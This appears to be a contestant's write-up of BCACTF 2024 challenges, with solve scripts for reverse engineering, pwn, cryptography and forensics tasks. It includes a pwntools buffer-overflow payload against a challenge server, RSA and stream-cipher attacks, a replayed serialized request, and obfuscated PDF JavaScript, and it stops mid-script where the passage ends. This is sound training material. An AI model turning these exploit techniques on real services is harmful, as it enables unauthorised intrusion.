πŸ…±οΈBCACTF 2024

Challenges in order on ctf page, some may seem out of order.

Binex

Inaccessible (317 solves)

Description:

I wrote a function to generate the flag, but don't worry, I bet you can't access it!

Resources:

Static resources:chall

Hints:

you could reverse engineer the function, but it's not necessary

see if you can use any debugging tools to just call the function

Solution:

Put chall binary in dogbolt.org, only Hexrays decompiled output has the hard-coded data.

Solve script:

def f(a1):
    if a1 == 0:
        return 0
    elif a1 == 1:
        return 1
    v4 = 1
    v5 = 0
    for i in range(2, a1 + 1):
        v2 = v5 + v4
        v5 = v4
        v4 = v2
    return v4

def c(a1):
    if a1 == 0:
        return 1
    else:
        return int(c(a1 - 1) * (2 * a1 - 1) * 2 / (a1 + 1))

b = [
    -1, -82, -16, -6, -50, -264, -169, -378, -476, -550, 
    -6586, -9792, -6524, -2639, -45140, -39480, -49507, -7752, -142154, -588555, 
    -963248, -1133504, -2235246, -3616704, -3601200, -1820895, -2749852, -9534330, 
    -15941099, -60738920, -57889567, -174264720, -140983120, -45623096, -719742270, 
    -537492672, -676418876, 0, 0, 0
]

i2 = [
    12, 13, 9, 12, 12, 12, 12, 12, 11, 12, 
    13, 13, 13, 12, 13, 12, 13, 12, 13, 13, 
    13, 13, 13, 13, 13, 11, 11, 12, 13, 13, 
    13, 13, 13, 9, 13, 13, 12, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 0
]

i4 = [
    4, 3, 6, 4, 3, 5, 0, 5, 6, 2, 
    0, 1, 2, 1, 0, 5, 1, 4, 3, 4, 
    3, 2, 3, 2, 4, 6, 6, 5, 1, 5, 
    4, 3, 3, 6, 1, 0, 4
]

s = [0] * 48

for i in range(37):
    v0 = b[i]
    v3 = v0 // f(i + 1)
    v0 = f(i2[i]) + v3
    s[i] = v0 + c(i4[i])
    s[i] = ~s[i] & 0xff  # Bitwise NOT and mask with 0xff

# Convert s to a string
flag = ''.join(chr(x) for x in s if x != 0)
print(flag)

#bcactf{W0w_Y0u_m4d3_iT_b810c453a9ac9}

Canary Keeper (186 solves)

Description:

My friend gave me this executable, but it keeps giving me errors. Can you get the flag?

Resources:

Netcat Links:nc challs.bcactf.com 32101Static resources:provided

Solution:

Decompile and look, just need to put things in the right places.

from pwn import *

# Connect to the remote service
host = "challs.bcactf.com"
port = 32101
conn = remote(host, port)

# Create the payload
payload = b'A' * 73
payload += b'canary'
payload += b'\x00\x00'
payload += b'FLAG'.ljust(8, b'\x00')

# Send the payload
conn.sendlineafter("Enter a string: ", payload)

# Receive the response
response = conn.recvall()
print(response.decode())

#[+] Opening connection to challs.bcactf.com on port 32101: Done
#[+] Receiving all data: Done (42B)
#[*] Closed connection to challs.bcactf.com port 32101
#Flag: bcactf{s1mple_CANaRY_9b36bd9f3fd2f}

Juggler 1 (92 solves)

Description:

My friend here has got some issues... Mainly, he can't stop juggling.

P.S Dockerfile is provided but not necessary for Juggler

Hint: He told me he was only good at juggling small words

Netcat Links:nc challs.bcactf.com 32250

Solution:

Spam it with garbage, get the flag.

Pwnage (176 solves)

Description:

It's either a bug, a hack, an exploit, or it's pwnage.

Let this challenge stand as one of the first of many stairs to mastery over that which can only be described as pwn.

Resources:

Netcat Links:nc challs.bcactf.com 30810Static resources:provided.c

Hints:

Connect using `nc` aka Netcat

Solution:

Basically need to just guess a stack offset, guessed 0x10 off then 0x20 off and got it.

Crypto

Time Skip (297 solves)

Description:

One of our problem writers got sent back in time! We found a piece a very very old piece of parchment where he disappeared, alongside a long cylinder. See if you can uncover his flag!

Resources:

Static resources:parchment.txt

Hints:

Ignore the silly science, but perhaps he wanted to mimic encryption methods of his new time.

Solution:

Google "old cipher cylinder" first result is Scytale wiki. On to dcode.

Cha-Cha Slide (125 solves)

Description:

I made this cool service that lets you protect your secrets with state-of-the-art encryption. It's so secure that we don't even tell you the key we used to encrypt your message!

Resources:

Netcat Links:nc challs.bcactf.com 31594Static resources:server.py

Solution:

Pretty straightforward, get a known ciphertext by encrypting zeros then pass the test.

from binascii import unhexlify

# Provided data
secret_msg_hex = 'afbf51717d72cdeaa9005978d0c3e7e790e62ac09ae6e75b8440b2f619cfede3'
known_plaintext = '00000000000000000000000000000000'
known_ciphertext_hex = 'fdec51797976ccbbac555d79d9c2e7ee92e32d9498b3b55c8d11b3f21999beb2'

# Convert from hex to bytes
secret_msg_bytes = unhexlify(secret_msg_hex)
known_ciphertext_bytes = unhexlify(known_ciphertext_hex)
known_plaintext_bytes = known_plaintext.encode()

# Deduce keystream
keystream = bytes([kc ^ kp for kc, kp in zip(known_ciphertext_bytes, known_plaintext_bytes)])

# Decrypt the secret message
decrypted_secret_msg_bytes = bytes([sc ^ ks for sc, ks in zip(secret_msg_bytes, keystream)])

print(decrypted_secret_msg_bytes)

# b'bc08441a5e419109257d2eb79a140fca'

RSAEncrypter (210 solves)

Description:

I made an rsa encrypter to send my messages but it seems to be inconsistent...

Resources:

Netcat Links:nc challs.bcactf.com 31452Static resources:rsa_encrypter.py

Hints:

Search up Chinese Remainder Theorem

Solution:

We can run it as many times as we want but we only need 3 sets of data. Using CRT:

from Crypto.Util.number import long_to_bytes
from sympy.ntheory.modular import crt
from gmpy2 import iroot

# Given ciphertext and modulus pairs
pairs = [
    (27103010174271472861051706874886615840444379989972162570725489819751234961995582124578431634602428817625887870176162703741458077169366173426315322895480489370678533843281920476051789528477905816643757959921523349468472293705018452507392596899261140807662895351041963518234252833749119529970349259551907610047,
     141941061149431225909447501248397042743729155760933456250570579244288760033019008962020680907400261235105998419984814946029006488769373433950418645849100405261392310745556350128975979135225980653800180086441825657950665067012472437820905137722768618316467228112651886841947751132954217638427584998957691161543),
    (87004949322535581002845528283231609435043822518577856219269530157861507832047746385930333124660438150297622341510182560300266612825341538429711950152346935939980781729973969899169529798977322096907501140438066881388903956013367025716567268766872089980432819555001256460775713597503849693683075281035946910805,
     164854415395195002860687410205812008596168380618683194991865599071902230943582675566040079405276465895686691564574205042927515509958944080979432379788978959976857787977097682654144889975725126158176862536468249471221382327118605263290096475812329070981479641583303884910722672628326426001535265046184644734177),
    (83155564799958326074880616045095533753489723920953050107120240226917503722018495606341715610875627752729252097031038931415197521240585226475667327656291523531031314388427603780715088951415652201010890442676474263769772551485968315688322603351142769621763428831089566462622943481253975668040565669538195947608,
     91622711695775483202371027920947490429472842004062163788214691941135437813948805097348422438049023164131639966675865485748980904140965225717567674548812454134942698796779973935852163403930992789324152880046715985741825285659813990968232578539971443433412470004989280921473688848325996598686172455732255695369)
]

# Separate ciphertexts and moduli
c_values, n_values = zip(*pairs)

# Apply CRT to find combined modulus and value
crt_value, crt_modulus = crt(n_values, c_values)

# Compute the cube root of the CRT result
m_cubed = crt_value % crt_modulus
m, exact = iroot(m_cubed, 3)

# Convert the integer message back to bytes
message = long_to_bytes(m)

print("Decoded message:", message.decode('utf-8'))
# Decoded message: bcactf{those_were_some_rather_large_numbersosvhb9wrp8ghed}

Encryptor Shop (174 solves)

Description:

After realizing how insecure the systems of many companies are (they're always getting hacked), I decided to start offering Encryption as a Service (EaaS). With such a strong guarantee of security, I'll even give you the source code AND my encrypted super secret flag.

Resources:

Netcat Links:nc challs.bcactf.com 31704Static resources:server.py

Solution:

There's a lot of info in this challenge we don't need, solution is self explanatory.

from Crypto.Util.number import long_to_bytes
from math import gcd

# Given values
n1 = 20046349873944205176423114443455689919669910795481350914626057084784218454972444164437519922639611988293310882518658786050151344878815796277827043279810580510114086986810944738481410150153418518145042227083952305858419728237186431516810574314177791955511057864270118882112562714389885135695325845034887428152577194786136631741752649636317046910624271139746239901843490149346254880759384029872965698576627008596767706526357092262568207131164128893294570124821029888194605727045625622179935996383919001893144222235252648145542768780147479448635060554265557876060562288573205708569951396893958798423743419449831849679703
n2 = 16434970135964003988139434495907623074623915350636969988786281825411133565722730304432740589037550628704987212370759314135720895493223571323170808308538042694687496332434441273093965513648297064578122146387468262905283296843437251431675048618790342476490402712290704768419586630590698635087606985925882174123304114238083655662014084638225032464353497609499464277177906008437489400454514041277523568684178566790355790654404998461838776405284274742673238076489611721077943860463950101091777924688713264134854377886327971030775111328814523481403041572941936263227914010368853137334940543326090790888857870532772145679829
e = 65537

# Encrypted flag value
flag_encrypted = 12339552846536087040879912645948500287607794336240492567779731046851528952834941805240683330768651536008545089628868346638124325562217740588228222591290194820508395407077625893039673374182075366452014399361448765459654844499631346896811068911338859627193230756708264479249829238083026010880370829549373905800823178875797446557019742579472229162257521778812978903494185000515696305560113298581564992727779353601136317925966691894790914752121144617810057710328491837869745962542073823980407529111032452806587917079691627421867347019865974395024445704612338911350208209300812172223497360641199348928783642293085110625052

# Find p
p = gcd(n1, n2)

# Calculate q and r
q = n1 // p
r = n2 // p

# Calculate phi for the new modulus n2
phi_n2 = (p - 1) * (r - 1)
d = pow(e, -1, phi_n2)

# Decrypt the flag
flag_decrypted = pow(flag_encrypted, d, n2)
flag = long_to_bytes(flag_decrypted).decode()
print(f"Flag: {flag}")

#Flag: bcactf{w0w_@lg3br@_d3in48uth934r}

Vinegar Times 3 (319 solves)

Description:

We can't speak French and just say what we see.

We also don't know what underscores are add them yourself.

put ONLY the final decrypted cipher in bcactf{}, no intermediate steps

key - vinegar

cipher 0 - mmqaonv

cipher 1 - seooizmt

cipher 2 - bdoloeinbdjmmyg <- THIS ONE

Solution:

Freebie, vigenere cipher with key being the decoded text of the previous stage. Before the flag format was clarified, it was a bit harder. bcactf{add_to_salad_yummy}

rad-be-damned (94 solves)

Description:

My friend seems to be communicating something but I can't make out anything. Why do we live so close to Chernobyl anyways?

Resources:

Static resources:message.pyoutput.txt

Hints:

Encoded with CRC (Cyclic Redundancy Checks)

Solution:

Look at message.py to see what's going on, then just decrypt with CRC.

def find_leftmost_set_bit(plaintext):
    pos = 0
    while plaintext > 0:
        plaintext = plaintext >> 1
        pos += 1
    return pos

def crc_check_and_correct(snippet, cp):
    cp_length = cp.bit_length()
    original_snippet = snippet
    for bit_to_flip in range(12):
        corrected_snippet = snippet ^ (1 << bit_to_flip)
        remainder = corrected_snippet
        while remainder.bit_length() >= cp_length:
            first_pos = find_leftmost_set_bit(remainder)
            remainder = remainder ^ (cp << (first_pos - cp_length))
        if remainder == 0:
            return corrected_snippet
    return original_snippet

def decrypt(cor_text):
    cp = int("10011", 2)
    plaintext = ""
    for ind in range(0, len(cor_text), 12):
        snippet = int(cor_text[ind:ind + 12], base=2)
        corrected_snippet = crc_check_and_correct(snippet, cp)
        bin_letter = corrected_snippet >> (cp.bit_length() - 1)
        plaintext += chr(bin_letter)
    return plaintext

encrypted_text = "011000001011010000111000011000111110011000111100011101001100001001100111011111110110011110010100011100010111011011111001010011011011010100011010001010011110010110010000001110111010001000011100011100011100010011111101010101101011110000110010001101100011011010100011001001010010001011011111011110000010001101100110010000110011011101110101010010111000011100011001010100011001001000111000001101010001011000100111010011000001011100011111111101010111010001001000001101000000001101011100010101101010101011011110011010100010010010010011010101010101010000010000001011011100011000011010010000111110001110011111011100011101010110001010010100100111001110011100011010101000011000101010001000101001001100011101111101100010010011100000010101111010011101101000011100100101001001000001010001111111010001001101111110100101011111001100"
decrypted_text = decrypt(encrypted_text)
print(decrypted_text)
#bcactf{yumMY-y311OWC4ke-x7CwKqQc5fLquE51V-jMUA-aG9sYS1jb21vLWVzdGFz}

Foren

23-719 (274 solves)

Description:

that's a nice unanimous supreme court decision you've made public, sure would be a shame if someone didn't properly clean up remnants of a prior version of the document before publishing it

Resources:

Static resources:23-719_19m2.pdf

Hints:

this is a real thing that happened that had real articles written about it

Solution:

Hidden in the text, not visible normally so convert pdf to txt.

└─$ pdftotext 23-719_19m2.pdf

└─$ grep -C2 ctf 23-719_19m2.txt                                                                               130 β¨―

Al_WOrLd_appLIc4t1ons_Of_cTf_ad04cc78601d5da8}
b cactf{rE , KAGAN
SOTOMAYOR
, and JACKSON, JJ., concurring in judgment

flagserver (57 solves)

Description:

It looks like Ircus have been using a fully exposed application to access their flags! Look at this traffic I captured. I can't seem to get it to work, though... can you help me get the flag for this very challenge?

NOTE: During normal operation, directly connecting to flagserver using nc should give some nonprintable characters like οΏ½οΏ½. If instead you receive nothing, please let us know.

Resources:

Netcat Links:nc challs.bcactf.com 30134Static resources:flagserver.pcapng

Hints:

It looks like their server contains flags for two challenges - this one ("flagserver") and a decoy one.

Solution:

We can look at the pcapng to see the communication with the server, then we just replace the command (fakechall) with flagserver and copy the rest of the bytes used in the request command. One hiccup is that flagserver is 10 characters while fakechall is 9, and when we replace as is, we see the server only gets "flagserve". Luckily the byte right before the string is 0x09 which we can assume is a length field, so replace that with 0x0A and we win.

import socket

# Server details
host = 'challs.bcactf.com'
port = 30134

# Hex values to send
initial_hex = "aced0005"
additional_hex = (
    "7372001e666c61677365727665722e4d65737361676543746f535f52657175657374bd164155d760d5a30200014c00056368616c6c7400124c6a6176612f6c616e672f537472696e673b"
    "78720012666c61677365727665722e4d65737361676590d21cc718e89c16020000"
    "787074000A666c6167736572766572"
)

# Convert hex to bytes
initial_bytes = bytes.fromhex(initial_hex)
additional_bytes = bytes.fromhex(additional_hex)

# Connect to the server and send the requests
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((host, port))
    print(f"Connected to {host}:{port}")

    # Receive initial response
    initial_response = s.recv(1024)
    print(f"Initial response: {initial_response.hex()}")

    # Send the initial hex value
    s.sendall(initial_bytes)
    print(f"Sent: {initial_hex}")

    # Receive response
    #print(f"Received after sending initial hex: {response.hex()}")

    # Send the additional hex value
    s.sendall(additional_bytes)
    print(f"Sent additional data: {additional_hex}")

    # Receive the final response
    final_response = s.recv(1024)
    print(final_response)

#Connected to challs.bcactf.com:30134
#Initial response: aced0005
#Sent: aced0005
#Sent additional data: 7372001e666c61677365727665722e4d65737361676543746f535f52657175657374bd164155d760d5a30200014c00056368616c6c7400124c6a6176612f6c616e672f537472696e673b78720012666c61677365727665722e4d65737361676590d21cc718e89c16020000787074000A666c6167736572766572
#b'sr\x00\x1bflagserver.MessageStoC_Flag\xecI\xc1@]/\xe2\x0b\x02\x00\x01L\x00\x04flagt\x00\x12Ljava/lang/String;xr\x00\x12flagserver.Message\x90\xd2\x1c\xc7\x18\xe8\x9c\x16\x02\x00\x00xpt\x009bcactf{thankS_5OCK3ts_and_tHreADInG_clA5s_2f6fb44c998fd8}'

magic (131 solves)

Description:

I found this piece of paper on the floor. I was going to throw it away, but it somehow screamed at me while I was holding it?!

Resources:

Static resources:magic.pdf

Hints:

the pdf should be interactive; if not, try changing your pdf viewer

Solution:

We can extract the js from the file with pdfinfo, deobfuscate it to see we need "producer", then solve the challenge.

└─$ pdfinfo -js ./magic.pdf                                                                                      1 β¨―
Name Dictionary "01 c":
    (function(_0x18b13a,_0x4d582d){var _0x3da883=_0x4113,_0x1d0353=_0x18b13a();while(!![]){try{var _0x10c45c=parseInt(_0x3da883(0x1be))/0x1*(-parseInt(_0x3da883(0x1cc))/0x2)+parseInt(_0x3da883(0x1c2))/0x3+parseInt(_0x3da883(0x1c6))/0x4*(parseInt(_0x3da883(0x1c7))/0x5)+-parseInt(_0x3da883(0x1cb))/0x6*(parseInt(_0x3da883(0x1c1))/0x7)+-parseInt(_0x3da883(0x1ca))/0x8+parseInt(_0x3da883(0x1c0))/0x9+parseInt(_0x3da883(0x1c4))/0xa*(parseInt(_0x3da883(0x1bf))/0xb);if(_0x10c45c===_0x4d582d)break;else _0x1d0353['push'](_0x1d0353['shift']());}catch(_0x53c9c0){_0x1d0353['push'](_0x1d0353['shift']());}}}(_0x43c8,0xe20be));function _0x4113(_0x44cfd2,_0x23b14b){var _0x43c873=_0x43c8();return _0x4113=function(_0x4113e1,_0x43c2ed){_0x4113e1=_0x4113e1-0x1bd;var _0x2522f0=_0x43c873[_0x4113e1];return _0x2522f0;},_0x4113(_0x44cfd2,_0x23b14b);}function _0x43c8(){var _0x1355d8=['getField','charCodeAt','100554TvjbzQ','11jHxsKn','7564617EnopjV','2219BJkXWe','3372363teHOVr','alert','5165870pcLTuS','producer','32KYViix','925835vZTXso','Flag is incorrect!','length','8132288HsoZUP','13494jFFdda','26rtwUNT'];_0x43c8=function(){return _0x1355d8;};return _0x43c8();}function update(){var _0x3d0e72=_0x4113,_0x2923fd=this[_0x3d0e72(0x1cd)]('A')['value'],_0x12e8ec=[];for(var _0x28002d=0x0;_0x28002d<_0x2923fd[_0x3d0e72(0x1c9)];_0x28002d++){_0x12e8ec['push'](_0x2923fd[_0x3d0e72(0x1bd)](_0x28002d)^parseInt(info[_0x3d0e72(0x1c5)])%(0x75+_0x28002d));}k=[0x46,0x2d,0x62,0x11,0x6b,0x4c,0x72,0x5f,0x76,0x38,0x19,0x28,0x5f,0x31,0x36,0x63,0xf7,0xb1,0x69,0x2a,0x18,0x5e,0x36,0x1,0x37,0x3a,0x1c,0x5,0x11,0x56,0xe5,0x7b,0x64,0x2c,0x11,0x14,0x53,0x5a,0x35,0x17,0x41,0x62,0x3];if(_0x12e8ec['length']!=k[_0x3d0e72(0x1c9)]){app[_0x3d0e72(0x1c3)](_0x3d0e72(0x1c8));return;}for(var _0x28002d=0x0;_0x28002d<k[_0x3d0e72(0x1c9)];_0x28002d++){if(_0x12e8ec[_0x28002d]!=k[_0x28002d]){app[_0x3d0e72(0x1c3)](_0x3d0e72(0x1c8));return;}}app[_0x3d0e72(0x1c3)]('Flag is correct!');}

Field Activated:
update();

Widget Annotation Activated:
update();

                                                                                                                     
└─$ exiftool magic.pdf     
ExifTool Version Number         : 12.76
File Name                       : magic.pdf
Directory                       : .
File Size                       : 19 kB
File Modification Date/Time     : 2024:06:07 17:46:21-07:00
File Access Date/Time           : 2024:06:10 11:09:10-07:00
File Inode Change Date/Time     : 2024:06:08 01:54:16-07:00
File Permissions                : -rw-rw-r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.5
Linearized                      : No
Page Count                      : 1
Page Mode                       : UseOutlines
Has XFA                         : No
Author                          : 
Title                           : 
Subject                         : 
Creator                         : 
Producer                        : 283548893274
Create Date                     : 2024:05:28 13:48:25-04:00
Modify Date                     : 2024:05:28 13:48:25-04:00
Trapped                         : False
PTEX Fullbanner                 : This is pdfTeX, Version 3.141592653-2.6-1.40.26 (TeX Live 2024/Arch Linux) kpathsea version 6.4.0
producer_value = 283548893274  # The Producer value from the PDF metadata
k = [0x46, 0x2d, 0x62, 0x11, 0x6b, 0x4c, 0x72, 0x5f, 0x76, 0x38, 0x19, 0x28, 0x5f, 0x31, 0x36, 0x63, 0xf7, 0xb1, 0x69, 0x2a, 0x18, 0x5e, 0x36, 0x1, 0x37, 0x3a, 0x1c, 0x5, 0x11, 0x56, 0xe5, 0x7b, 0x64, 0x2c, 0x11, 0x14, 0x53, 0x5a, 0x35, 0x17, 0x41, 0x62, 0x3]

flag = ''
for i in range(len(k)):
    flag += chr(k[i] ^ (producer_value % (0x75 + i)))

print("Flag:", flag)

# Flag: bcactf{InTerACtIv3_PdFs_W0W_cbd14436e6aea8}

Description:

  • We intercepted this mysterious melody being played on a secretive radio station. Can you figure out what it means?

Resources:

Static resources:melody.wav

Hints:

base 16

Solution:

First we need to transcribe the notes, I forget what I used but it was some python package that used AI to convert to a midi file. Then, I ran this on the output.

import mido

# Define the notes and their corresponding hexadecimal values
NOTE_TO_HEX = {
    'C4': '0',
    'D4': '1',
    'E4': '2',
    'F4': '3',
    'G4': '4',
    'A4': '5',
    'B4': '6',
    'C5': '7',
    'D5': '8',
    'E5': '9',
    'F5': 'A',
    'G5': 'B',
    'A5': 'C',
    'B5': 'D',
    'C6': 'E',
    'D6': 'F'
}

# MIDI note numbers to note names
NOTE_NAMES = {
    60: 'C4',
    62: 'D4',
    64: 'E4',
    65: 'F4',
    67: 'G4',
    69: 'A4',
    71: 'B4',
    72: 'C5',
    74: 'D5',
    76: 'E5',
    77: 'F5',
    79: 'G5',
    81: 'A5',
    83: 'B5',
    84: 'C6',
    86: 'D6'
}

def parse_midi_file(file_path):
    midi = mido.MidiFile(file_path)
    notes = []
    for track in midi.tracks:
        for msg in track:
            if msg.type == 'note_on' and msg.velocity > 0:
                note_number = msg.note
                if note_number in NOTE_NAMES:
                    note_name = NOTE_NAMES[note_number]
                    notes.append(note_name)
    return notes

def notes_to_hex(notes):
    hex_string = ''.join(NOTE_TO_HEX[note] for note in notes if note in NOTE_TO_HEX)
    return hex_string

# Read the MIDI file
midi_file = 'out.mid'
notes = parse_midi_file(midi_file)

# Convert notes to hexadecimal string
hex_string = notes_to_hex(notes)

print("Hexadecimal string:", hex_string)
# Hexadecimal string: 0123456789ABCDEF6263616374667B60265617570469667560C5F6D656C6F64795F62656175746966756C5F6861726D6F6E7907

Output was still messed up so fixed manually in cyberchef, just some extra zeros.

Chalkboard Gag (383 solves)

Description:

Matt Groening sent me an unused chalkboard gag, he says there's something special inside of it.

Resources:

Static resources:chalkboardgag.txt

Hints:

There are some unique differences in some of the lines...

Solution:

Find/replace delete the string that repeats to isolate the unique lines. I just manually copied the flag from there.

I WILL NOT bE SNEAKYI WIcL NOT BE SNEAKYI WILL NOT BE SNEAKaI WcLL NOT BE SNEAKYI WILL NOT BE SNEAKtI WILL NOT Bf SNEAKYI {ILL NOT BE SNEAKYI WILL NOT BE SNEBKYI WILL NaT BE SNEAKYI WILL NOT BE SNRAKYI WILT NOT BE SNEAKYI WILL NOT _E SNEAKYI WILW NOT BE SNEAKYI WILL N0T BE SNEAKYI WILL NOT BE SNEUKYI WI1L NOT BE SNEAKYI WILL NOT BE SNEADYI W_LL NOT BE SNEAKYI WILL NOT BE SBEAKYI WILL NOT B3 SNEAKYI _ILL NOT BE SNEAKYI WILL NOT BE SNEPKYI WILR NOT BE SNEAKYI WILL N0T BE SNEAKYI WILL NOT BE SNuAKYI WIDL NOT BE SNEAKYI WILL NOT BE SNEAK}

Touch Tone Telephone (31 solves)

Description:

theres a demon inside of my head now im unable to go to bed i gave a shout the phone rang out and now theres just feelings of dread

i picked up the phone and i heard a resounding cry from the herd of phone systems cursed and stuck with the curse of button pressing till theyre dead

i heard the beeping with my ears knowing it could solve all my fears to find the demon the lemon heathen to wipe away ctf tears

Resources:

Static resources:output.wav

Hints:

DTMF is a really cool technologyThere also used to be A, B, C, and D menu selection keysHow many keys are there in total? Is it a computer science-y number?For key to number, Start at top left, reading order. (Sorry, 0 is not 0, my bad)

Solution:

Tried with online tools and got close but it really needed a custom solution since the last part is to decode from an arbitrary hex string which can't be corrected manually. Below is code to record the DTMF from the file, to convert the mapping, then to decode.

import numpy as np
import scipy.signal
from pydub import AudioSegment
from pydub.playback import play

# Define the DTMF frequencies
DTMF_FREQS = {
    '1': (697, 1209),
    '2': (697, 1336),
    '3': (697, 1477),
    'A': (697, 1633),
    '4': (770, 1209),
    '5': (770, 1336),
    '6': (770, 1477),
    'B': (770, 1633),
    '7': (852, 1209),
    '8': (852, 1336),
    '9': (852, 1477),
    'C': (852, 1633),
    '*': (941, 1209),
    '0': (941, 1336),
    '#': (941, 1477),
    'D': (941, 1633),
}

# Inverse map for quick lookup
FREQ_PAIR_TO_KEY = {v: k for k, v in DTMF_FREQS.items()}

# Load the audio file
audio = AudioSegment.from_wav("output.wav")

# Convert to mono
audio = audio.set_channels(1)

# Convert to numpy array
samples = np.array(audio.get_array_of_samples())

# Define the sample rate
sample_rate = audio.frame_rate

# Define the window size (in samples)
window_size = int(sample_rate * 0.05)  # 50ms window
step_size = int(sample_rate * 0.025)   # 25ms step size

# Initialize the detected tones string
detected_tones = ""

# Function to detect DTMF tone in a window of samples
def detect_dtmf_tone(window):
    # Perform FFT
    freqs, times, Sx = scipy.signal.spectrogram(window, fs=sample_rate, window='hann', nperseg=512, noverlap=256, detrend=False, scaling='spectrum')
    Sx = np.log10(Sx + 1e-10)
    
    # Find peaks in the spectrum
    peak_indices = np.argsort(Sx.max(axis=1))[-2:]  # Get two highest peaks
    peak_freqs = sorted(freqs[peak_indices])
    
    # Check if peaks correspond to DTMF frequencies
    for (f1, f2), key in FREQ_PAIR_TO_KEY.items():
        if abs(f1 - peak_freqs[0]) < 20 and abs(f2 - peak_freqs[1]) < 20:
            return key
    return None

# Process the audio in windows
for start in range(0, len(samples) - window_size, step_size):
    window = samples[start:start + window_size]
    tone = detect_dtmf_tone(window)
    if tone:
        detected_tones += tone

def process_dtmf_output(dtmf_string):
    # Initialize the result string
    result = ""
    
    # Initialize a counter for unmatched characters
    unmatched_counts = {}
    
    # Loop through the string
    i = 0
    while i < len(dtmf_string):
        # Check if there are at least 3 characters left
        if i + 2 < len(dtmf_string) and dtmf_string[i] == dtmf_string[i+1] == dtmf_string[i+2]:
            # If the next 3 characters are the same, add the character to the result
            result += dtmf_string[i]
            # Move the index by 3
            i += 3
        elif i + 1 < len(dtmf_string) and dtmf_string[i] == dtmf_string[i+1]:
            # If the next 2 characters are the same, add the character to the result
            result += dtmf_string[i]
            # Move the index by 2
            i += 2
        else:
            # Count remaining unmatched characters
            char = dtmf_string[i]
            if char not in unmatched_counts:
                unmatched_counts[char] = 0
            unmatched_counts[char] += 1
            # Move the index by 1
            i += 1

    # Print warnings for unmatched characters
    for char, count in unmatched_counts.items():
        print(f"Warning: Character '{char}' only shows up {count} time(s).")

    return result
# Process the output
processed_output = process_dtmf_output(detected_tones)
print("Processed output:", processed_output)
# Define the mapping in a dictionary
mapping = {
    '1': '0',
    '2': '1',
    '3': '2',
    'A': '3',
    '4': '4',
    '5': '5',
    '6': '6',
    'B': '7',
    '7': '8',
    '8': '9',
    '9': 'A',
    'C': 'B',
    '*': 'C',
    '0': 'D',
    '#': 'E',
    'D': 'F'
}

# Given encoded message
encoded_message = "47656*6*6D3#315B656*6A6D606531B46D31B4676531434A424A54463147656*B16*686#653#19546768BA316A626*6*316062B831636531B3656A6DB364656431666DB331B2B5626*68B4B83162BABAB5B3626#6A6531B1B5B3B16DBA65BA3#1919466DB3316A6762B33131A13*316B65B431686#6465B731A1B7A6A23#19466DB3316A6762B33131A23*316B65B431686#6465B731A1B7ABA33#19466DB3316A6762B33131A33*316B65B431686#6465B731A1B7A66A3#19466DB3316A6762B33131AA3*316B65B431686#6465B731A1B7AAA73#19466DB3316A6762B33131A43*316B65B431686#6465B731A1B7A3633#19466DB3316A6762B33131A53*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B33131A63*316B65B431686#6465B731A1B7AA653#19466DB3316A6762B33131AB3*316B65B431686#6465B731A1B7A5A83#19466DB3316A6762B33131A73*316B65B431686#6465B731A1B7A66A3#19466DB3316A6762B33131A83*316B65B431686#6465B731A1B7AAA73#19466DB3316A6762B331A2A13*316B65B431686#6465B731A1B7A2A83#19466DB3316A6762B331A2A23*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B331A2A33*316B65B431686#6465B731A1B7A2643#19466DB3316A6762B331A2AA3*316B65B431686#6465B731A1B7ABA33#19466DB3316A6762B331A2A43*316B65B431686#6465B731A1B7A1623#19466DB3316A6762B331A2A53*316B65B431686#6465B731A1B7A4A53#19466DB3316A6762B331A2A63*316B65B431686#6465B731A1B7A5A83#19466DB3316A6762B331A2AB3*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B331A2A73*316B65B431686#6465B731A1B7A66A3#19466DB3316A6762B331A2A83*316B65B431686#6465B731A1B7A3653#19466DB3316A6762B331A3A13*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B331A3A23*316B65B431686#6465B731A1B7A66A3#19466DB3316A6762B331A3A33*316B65B431686#6465B731A1B7A3A63#19466DB3316A6762B331A3AA3*316B65B431686#6465B731A1B7A3633#19466DB3316A6762B331A3A43*316B65B431686#6465B731A1B7A1A33#19466DB3316A6762B331A3A53*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B331A3A63*316B65B431686#6465B731A1B7A1A23#19466DB3316A6762B331A3AB3*316B65B431686#6465B731A1B7A3A63#19466DB3316A6762B331A3A73*316B65B431686#6465B731A1B7ABA33#19466DB3316A6762B331A3A83*316B65B431686#6465B731A1B7A5AA3#19466DB3316A6762B331AAA13*316B65B431686#6465B731A1B7AAA83#19466DB3316A6762B331AAA23*316B65B431686#6465B731A1B7A1A43#191919516*6562BA6531676D6*6431BB67686*6531BB6531BA656#6431B86DB531B3626#646D60316B62B363626B6531B46762B431B86DB531BA676DB56*6431686#6465B731686#B46D31B46D316B65B431B4676531666*626B3#195B67656#31B86DB53BB3653166686#68BA6765643*3160626C6531BAB5B36531B46D31BBB362B131B4676531666*626B31686#31B4676531B1B36DB165B331666DB36062B43#19B7B16453655B45666#6DA443B4B653655547B7B5A7B443B36C6#B85567A2A3A7446D6*BA5B67A26DB9AB6A6#5544B86B48B76C4A48B4BBBAA1A5B64#A75A646C46B1545153B6564#556A5354B46D5AABB945556266AB4D4#48AA6#A155B456B5486*68A8436A5166B7454A586044485DA445AAB349425567584B56A8BB4D4648"

# Decode the message
decoded_message = ''.join(mapping.get(char, char) for char in encoded_message)

print(decoded_message)
# Put final part in cyberchef, then follow the instructions to create the last part
# Given indices in hexadecimal
hex_indices = [
    "0x61", "0x72", "0x6c", "0x38", "0x2b", "0x6f", "0x3e", "0x59",
    "0x6c", "0x38", "0x19", "0x6f", "0x1d", "0x72", "0x0a", "0x45",
    "0x59", "0x6f", "0x6c", "0x2e", "0x6f", "0x6c", "0x26", "0x2b",
    "0x02", "0x6f", "0x01", "0x26", "0x72", "0x53", "0x39", "0x04"
]

# The string to index into
random_garbage = "xpdReWEfno4BtvReUHxu8tBrknyUh128DolsWh1oz7cnUDygIxkCItws05vN8SdkFpTPRvVNUcRTtoS7zEUaf7ONI3n0UtVuIli9BcPfxECYmDI_4E3rJAUhYGV9wOFI"

# Convert hex indices to decimal
